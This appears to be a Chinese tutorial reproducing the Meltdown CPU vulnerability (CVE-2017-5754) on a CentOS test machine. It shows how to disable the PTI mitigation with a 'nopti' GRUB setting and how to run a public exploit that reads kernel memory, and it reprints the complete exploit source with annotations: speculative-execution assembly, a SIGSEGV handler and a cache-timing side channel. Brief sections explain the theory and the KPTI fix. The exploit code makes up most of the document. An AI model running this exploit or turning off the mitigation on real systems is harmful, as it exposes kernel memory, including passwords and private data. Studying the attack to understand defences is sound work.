前言
操作系统最核心的一个特性是内存隔离,即操作系统要确保用户程序不能访问彼此的内存。而CPU熔断漏洞巧妙地利用了现代处理器中乱序执行的副作用进行侧信道攻击,破坏了机遇地址空间隔离的安全机制,使得用户态程序可以读出内核空间的数据,包括个人私有数据和密码等。
一、Meltdown复现
1.1 检测环境是否开启防护
在GitHub spectre-meltdown-checker Repo获取spectre-meltdown-checker.sh检测脚本。
# 获取检测工具
curl -L https://meltdown.ovh -o spectre-meltdown-checker.sh
# 执行检测脚本并以json格式展示结果
sudo ./spectre-meltdown-checker.sh --batch json | jq
输出结果如下所示,可以看到当前环境MELTDOWN漏洞不可用,原因是开启了PTI(Page Table Isolation)即页表隔离。
[
{
"NAME": "SPECTRE VARIANT 1",
"CVE": "CVE-2017-5753",
"VULNERABLE": false,
"INFOS": "Mitigation: usercopy/swapgs barriers and __user pointer sanitization"
},
{
"NAME": "SPECTRE VARIANT 2",
"CVE": "CVE-2017-5715",
"VULNERABLE": false,
"INFOS": "Full retpoline + IBPB are mitigating the vulnerability"
},
{
"NAME": "MELTDOWN",
"CVE": "CVE-2017-5754",
"VULNERABLE": false,
"INFOS": "Mitigation: PTI"
}
...
]
修改/etc/default/grub关闭PTI补丁 (部分版本可能需要修改 /etc/default/grub.d/50-curtin-settings.cfg),在GRUB_CMDLINE_LINUX
中添加nopti
vim /etc/default/grub
GRUB_CMDLINE_LINUX="nopti"
重新生成配置文件
# ubuntu
sudo update-grub
# centos
sudo grub2-mkconfig -o /boot/grub2/grub.cfg
重启后再次运行spectre-meltdown-checker.sh
脚本,可以看到MELTDOWN漏洞变成可用。
{
"NAME": "MELTDOWN",
"CVE": "CVE-2017-5754",
"VULNERABLE": true,
"INFOS": "PTI is needed to mitigate the vulnerability"
}
1.2 运行EXP代码
我们使用https://github.com/paboldin/meltdown-exploit这个exp进行攻击测试。
[root@localhost meltdown-exploit]# ./run.sh
looking for linux_proc_banner in /proc/kallsyms
cached = 37, uncached = 351, threshold 113
read ffffffffa2600080 = 25 % (score=898/1000)
read ffffffffa2600081 = 73 s (score=969/1000)
read ffffffffa2600082 = 20 (score=615/1000)
read ffffffffa2600083 = 76 v (score=989/1000)
read ffffffffa2600084 = 65 e (score=979/1000)
read ffffffffa2600085 = 72 r (score=987/1000)
read ffffffffa2600086 = 73 s (score=977/1000)
read ffffffffa2600087 = 69 i (score=984/1000)
read ffffffffa2600088 = 6f o (score=769/1000)
read ffffffffa2600089 = 6e n (score=953/1000)
read ffffffffa260008a = 20 (score=522/1000)
read ffffffffa260008b = 25 % (score=974/1000)
read ffffffffa260008c = 73 s (score=953/1000)
read ffffffffa260008d = 20 (score=676/1000)
read ffffffffa260008e = 28 ( (score=969/1000)
read ffffffffa260008f = 6d m (score=910/1000)
VULNERABLE
PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/19
VULNERABLE ON
3.10.0-957.el7.x86_64 #1 SMP Thu Nov 8 23:39:32 UTC 2018 x86_64
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 94
model name : Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz
stepping : 3
microcode : 0xffffffff
cpu MHz : 3407.999
cache size : 8192 KB
physical id : 0
这里读取的是linux_proc_banner
地址的数据,我们使用crash验证一下读取的数据是否正确。
[root@localhost meltdown-exploit]# cat /proc/kallsyms | grep linux_proc_banner
ffffffffa2600080 R linux_proc_banner
[root@localhost meltdown-exploit]# crash /proc/kcore /usr/lib/debug/lib/modules/3.10.0-957.el7.x86_64/vmlinux
crash> rd ffffffffa2600080 10
ffffffffa2600080: 6973726576207325 6d28207325206e6f %s version %s (m
ffffffffa2600090: 646c6975626b636f 65646c6975626b40 ockbuild@kbuilde
ffffffffa26000a0: 632e737973622e72 726f2e736f746e65 r.bsys.centos.or
ffffffffa26000b0: 2063636728202967 206e6f6973726576 g) (gcc version
ffffffffa26000c0: 303220352e382e34 2820333236303531 4.8.5 20150623 (
可以看到linux_proc_banner
地址处的内存数据和EXP输出的数据相同,即漏洞利用成功。
这里再推荐一个meltdown的EXP(https://github.com/IAIK/meltdown),感兴趣的同学可以了解一下。
二、Meltdown原理分析
侧信道攻击,是密码学中常见的暴力攻击技术,它是针对设备在运行过程中的时间消耗、功率消耗或电磁辐射之类的侧信道信息对加密设备进行攻击的方法。而在Meltdown漏洞正是利用了计算机高速缓存和物理内存不同的访问时延来实现的一种侧信道攻击。
具体来说,Meltdown漏洞的产生是因为CPU指令的乱序执行,当用户态程序非法访问一个内核空间地址时,在进行页属性的检查之前已经把物理内存数据加载到高速缓存当中了,虽然在后续检查属性时清除了读取的内核态数据,但是通过比较cache中数据访问的时间,仍然可以获取内核态地址地址数据。
伪代码:
1: set_signal(); // 定义一个信号和回调函数,当程序发生异常时,执行该回调函数,而不是发生段错误退出程序
2: u8 user_probe[4096]; // 定义一个攻击者可以安全访问的数组
3: clflush for user_probe[4096]; // 将该数组从高速缓存中刷掉
4: u8 value = *(u8 *)attack_mem_addr; // attack_mem_addr存放被攻击的内核空间地址
5: u8 index = (value & 1) ; // 只保留value的最后一位
6: data = user_probe[index * 4096]
再贴一下注释后的开源代码
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <ucontext.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sched.h>
#include <x86intrin.h>
#include "rdtscp.h"
//#define DEBUG 1
#if !(defined(__x86_64__) || defined(__i386__))
# error "Only x86-64 and i386 are supported at the moment"
#endif
#define TARGET_OFFSET 12
#define TARGET_SIZE (1 << TARGET_OFFSET)
#define BITS_READ 8
#define VARIANTS_READ (1 << BITS_READ)
static char target_array[VARIANTS_READ * TARGET_SIZE];
void clflush_target(void)
{
int i;
/*
* _mm_clflush:是一个内联汇编函数,用于执行 clflush 操作。
* clflush 是 x86 架构上的一条指令,用于将缓存行中的数据置为无效状态,并从缓存中删除,强制重新加载来自内存的最新数据。
*/
for (i = 0; i < VARIANTS_READ; i++)
_mm_clflush(&target_array[i * TARGET_SIZE]);
}
extern char stopspeculate[];
/*
* __attribute__((noinline)) 指示编译器不要对这个函数进行内联优化。
* 这可以帮助确保函数中的汇编代码不会被内联到其他函数中
*/
static void __attribute__((noinline))
speculate(unsigned long addr)
{
#ifdef __x86_64__
asm volatile (
"1:\n\t"
/*
* 消耗时间,让cpu进行预测执行
*/
".rept 300\n\t"
"add $0x141, %%rax\n\t"
".endr\n\t"
"movzx (%[addr]), %%eax\n\t" // 将内存地址 %[addr] 处的一个字节(8位)加载到 %%eax 寄存器中,并进行零扩展
"shl $12, %%rax\n\t" // 有时候prefetcher会fetch同一个page里的内容进cache,所以每隔4K访问会排除prefetcher的干扰
"jz 1b\n\t"
"movzx (%[target], %%rax, 1), %%rbx\n" // 从内存地址 %[target] + %%rax * 1 处读取一个字节的数据,然后将其零扩展到 %%rbx 寄存器中
"stopspeculate: \n\t"
"nop\n\t"
:
: [target] "r" (target_array),
[addr] "r" (addr)
: "rax", "rbx"
);
#else /* ifdef __x86_64__ */
asm volatile (
"1:\n\t"
".rept 300\n\t"
"add $0x141, %%eax\n\t"
".endr\n\t"
"movzx (%[addr]), %%eax\n\t"
"shl $12, %%eax\n\t"
"jz 1b\n\t"
"movzx (%[target], %%eax, 1), %%ebx\n"
"stopspeculate: \n\t"
"nop\n\t"
:
: [target] "r" (target_array),
[addr] "r" (addr)
: "rax", "rbx"
);
#endif
}
static int cache_hit_threshold;
static int hist[VARIANTS_READ];
void check(void)
{
int i, time, mix_i;
volatile char *addr;
for (i = 0; i < VARIANTS_READ; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &target_array[mix_i * TARGET_SIZE];
time = get_access_time(addr);
if (time <= cache_hit_threshold)
hist[mix_i]++;
}
}
void sigsegv(int sig, siginfo_t *siginfo, void *context)
{
ucontext_t *ucontext = context; // 获取上下文信息
#ifdef __x86_64__
ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;
#else
ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;
#endif
return; // 这里函数直接返回了,中止了默认的信号处理流程,将控制权交给了 stopspeculate 函数
}
// 定义一个信号和回调函数,当程序发生异常时,执行该回调函数,而不是发生段错误退出程序
int set_signal(void)
{
struct sigaction act = {
.sa_sigaction = sigsegv,
.sa_flags = SA_SIGINFO,
};
return sigaction(SIGSEGV, &act, NULL);
}
#define CYCLES 1000
int readbyte(int fd, unsigned long addr)
{
int i, ret = 0, max = -1, maxi = -1;
static char buf[256];
memset(hist, 0, sizeof(hist));
for (i = 0; i < CYCLES; i++) {
ret = pread(fd, buf, sizeof(buf), 0);
if (ret < 0) {
perror("pread");
break;
}
clflush_target(); // 清理缓存
_mm_mfence(); // Intel 架构上的内联汇编函数,用于执行内存屏障(memory fence)
speculate(addr);
check();
}
#ifdef DEBUG
for (i = 0; i < VARIANTS_READ; i++)
if (hist[i] > 0)
printf("addr %lx hist[%x] = %d\n", addr, i, hist[i]);
#endif
for (i = 1; i < VARIANTS_READ; i++) {
if (!isprint(i))
continue;
if (hist[i] && hist[i] > max) {
max = hist[i];
maxi = i;
}
}
return maxi;
}
static char *progname;
int usage(void)
{
printf("%s: [hexaddr] [size]\n", progname);
return 2;
}
static int mysqrt(long val)
{
int root = val / 2, prevroot = 0, i = 0;
while (prevroot != root && i++ < 100) {
prevroot = root;
root = (val / root + root) / 2;
}
return root;
}
#define ESTIMATE_CYCLES 1000000
static void
set_cache_hit_threshold(void)
{
long cached, uncached, i;
if (0) {
cache_hit_threshold = 80;
return;
}
for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
cached += get_access_time(target_array);
for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
cached += get_access_time(target_array);
for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
_mm_clflush(target_array);
uncached += get_access_time(target_array);
}
cached /= ESTIMATE_CYCLES;
uncached /= ESTIMATE_CYCLES;
cache_hit_threshold = mysqrt(cached * uncached);
printf("cached = %ld, uncached = %ld, threshold %d\n",
cached, uncached, cache_hit_threshold);
}
static int min(int a, int b)
{
return a < b ? a : b;
}
// 设置CPU亲和性
static void pin_cpu0()
{
cpu_set_t mask;
/* PIN to CPU0 */
CPU_ZERO(&mask);
CPU_SET(0, &mask);
sched_setaffinity(0, sizeof(cpu_set_t), &mask);
}
int main(int argc, char *argv[])
{
int ret, fd, i, score, is_vulnerable;
unsigned long addr, size;
static char expected[] = "%s version %s";
progname = argv[0];
if (argc < 3)
return usage();
if (sscanf(argv[1], "%lx", &addr) != 1)
return usage();
if (sscanf(argv[2], "%lx", &size) != 1)
return usage();
memset(target_array, 1, sizeof(target_array));
ret = set_signal(); // 设置异常处理函数
pin_cpu0(); // 设置CPU亲和性,将程序运行在0号cpu上
set_cache_hit_threshold(); // 获取cache命中和未命中时的平均时延
fd = open("/proc/version", O_RDONLY);
if (fd < 0) {
perror("open");
return -1;
}
for (score = 0, i = 0; i < size; i++) {
ret = readbyte(fd, addr);
if (ret == -1)
ret = 0xff;
printf("read %lx = %x %c (score=%d/%d)\n",
addr, ret, isprint(ret) ? ret : ' ',
ret != 0xff ? hist[ret] : 0,
CYCLES);
if (i < sizeof(expected) &&
ret == expected[i])
score++;
addr++;
}
close(fd);
is_vulnerable = score > min(size, sizeof(expected)) / 2;
if (is_vulnerable)
fprintf(stderr, "VULNERABLE\n");
else
fprintf(stderr, "NOT VULNERABLE\n");
exit(is_vulnerable);
}
三、修复方案:KPTI技术
KPTI的总体思路是把每个进程使用的一张页表分隔成两张-内核页表和用户页表。
- 当程序运行在用户空间时,使用的是用户页表。
- 当发生中断、异常或者主动调用系统调用时,用户程序陷入内核态。进入内核空间后,通过一小段内核跳板(trampoline)程序将用户页表切换到内核页表。当进程从内核空间跳回用户空间时,页表再次被切换回用户页表。
因此当程序运行在用户态时,内核页表仅仅包含跳板页表,而其他内核空间都是无效映射,因此进程无法访问内核空间数据了。